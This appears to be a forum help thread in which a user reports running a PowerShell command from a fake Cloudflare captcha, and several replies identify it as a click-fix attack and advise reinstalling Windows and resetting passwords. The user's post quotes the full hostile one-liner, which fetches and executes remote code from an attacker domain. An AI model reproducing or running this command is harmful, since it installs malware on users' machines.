I was browsing culliganwater.com and clicked on a section for bottled water when a Cloudflare popup prompted me to verify I'm not a bot by using the command: powershell -wi mi -EP B -c iex(irm vrfiedcfcdn.com/Cldflr). I wasn't fully awake and followed the instructions without thinking it through. Now I'm concerned that this 'captcha' might have been malicious. Did I jeopardize my computer's security? What should I do next?

Immediate steps you should take: 1) Disconnect from the internet. 2) Get a clean computer to download Windows installation media. 3) Reset all your passwords from a safe location. It's crucial to act fast to secure your accounts and device.
Yes, you definitely compromised your PC. What's happening here is known as a click-fix attack, where a fake captcha leads you to run malicious code. I'd recommend a fresh install of Windows because if malware was dropped, it could be hard to clear it out completely without proper tools.
Yes, it's highly likely you've run malicious code. The command you executed bypasses PowerShell's security features, downloads files, and runs them without inspection. You need to reinstall Windows and start changing your passwords immediately, especially for critical accounts.
You ran a command that downloaded and executed a script from a suspicious URL, which is a clear security risk. It's best to reboot in safe mode, run multiple antivirus scans, and prepare for some serious cleanup.
Game over, unfortunately. After running that command, you should wipe your drive and reinstall Windows. Make sure to reset all your passwords too. Don't run commands if you’re unsure of their purpose!
